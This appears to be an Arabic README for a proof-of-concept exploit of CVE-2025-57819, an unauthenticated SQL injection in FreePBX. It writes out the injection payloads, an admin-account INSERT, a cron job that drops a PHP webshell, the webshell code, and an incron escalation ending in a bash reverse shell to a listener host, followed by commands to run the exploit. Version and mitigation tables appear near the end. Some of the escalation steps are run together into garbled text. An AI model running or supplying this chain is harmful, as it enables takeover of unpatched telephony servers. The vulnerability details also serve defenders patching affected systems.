
إثبات مفهوم استغلال لـ CVE-2025-57819، وهو حقن SQL غير مُصادَق عليه في FreePBX يتسلسل لإنشاء حساب مسؤول، ونشر webshell، والتصعيد إلى root للوصول إلى RCE.
للأغراض التعليمية والبحث الأمني فقط - راجع الإشعار القانوني أدناه
إثبات مفهوم استغلال لـ CVE-2025-57819، وهي ثغرة حقن SQL حرجة غير مُصادق عليها في FreePBX تسمح بتنفيذ أوامر عن بُعد. تم نشر هذا الـ PoC بعد إصدار التصحيحات الرسمية لأغراض البحث الأمني والاختبار المُصرّح به فقط.
إصدارات FreePBX 15.x و16.x و17.x (الأقدم من الإصدارات المُصحّحة) معرّضة لثغرة حقن SQL غير مُصادق عليها في معالج AJAX الخاص بوحدة endpoint. تسمح سلسلة الثغرات هذه بما يلي:
| معرّف CVE | CVE-2025-57819 |
| النوع | حقن SQL غير مُصادق عليه (قائم على الأخطاء) |
| CVSS | 9.8 / 10.0 (حرجة) |
| المتأثرة | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| المُصحّحة | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | نعم (29 أغسطس 2025) |
GET /admin/ajax.php?brand=<PAYLOAD>
يقبل المعامل brand في معالج AJAX الخاص بوحدة endpoint مدخلات المستخدم دون التحقق منها، مما يؤدي إلى حقن SQL قائم على الأخطاء.
تحقق من حقن SQL باستخدام استخراج قائم على الأخطاء عبر EXTRACTVALUE() لتسريب اسم قاعدة البيانات:
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
أدخل مستخدمًا إداريًا جديدًا في asterisk.ampusers:
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
باستخدام بيانات اعتماد إدارية صالحة، يُصادق الاستغلال على FreePBX ويُنشئ جلسة مُصادق عليها. يتم حفظ ملفات تعريف ارتباط الجلسة واستخدامها لجميع الطلبات المُصادق عليها اللاحقة.
احقن أمر webshell في asterisk.cron_jobs:
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
يُنفّذ مشغّل cron الخاص بـ FreePBX الأمر كمستخدم asterisk، مما يُسقط webshell بلغة PHP.
يتم نشر webshell بلغة PHP إلى /var/www/html/shell.php:
<?php system($_GET['cmd']); ?>
يستعلم الاستغلال عن webshell حتى تفعيله، محققًا تنفيذ أوامر عن بُعد كمستخدم asterisk (uid=999).
إذا كان incron مُهيّأً على الهدف:
/var/spool/asterisk/incron/incrond (الذي يعمل كـ root) إنشاء الملف/usr/bin/sysadmin_manager باسم ملف التشغيلsysadmin_manager من توقيع GPG ويوزّع إلى خطاف fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1النتيجة: صدفة root على مستمع عكسي (إذا كان incron متاحًا).
brandasterisk.cron_jobs القابل للكتابة يُنفّذ الأوامر كمستخدم asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

| الإصدار | الحالة |
|---|---|
| 15.0.0 - 15.0.65 | معرّض |
| 15.0.66+ | مُصحّح |
| 16.0.0 - 16.0.88 | معرّض |
| 16.0.89+ | مُصحّح |
| 17.0.0 - 17.0.2 | معرّض |
| 17.0.3+ | مُصحّح |
فوري:
/admin/ajax.php من الشبكات غير الموثوقةsystemctl disable incrondدائم: قم بالترقية إلى الإصدارات المُصحّحة: 15.0.66+ أو 16.0.89+ أو 17.0.3+
⚠️ إخلاء المسؤولية
يُقدَّم إثبات المفهوم هذا فقط للاختبار الأمني المُصرّح به والأغراض التعليمية. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو الأضرار الناجمة عن هذه الأداة.
يجب عليك الامتثال لـ:
الاستخدامات المحظورة:
إخلاء المسؤولية: المؤلف غير مسؤول عن:
هذه الثغرة:
JazzTheRabbit
MIT License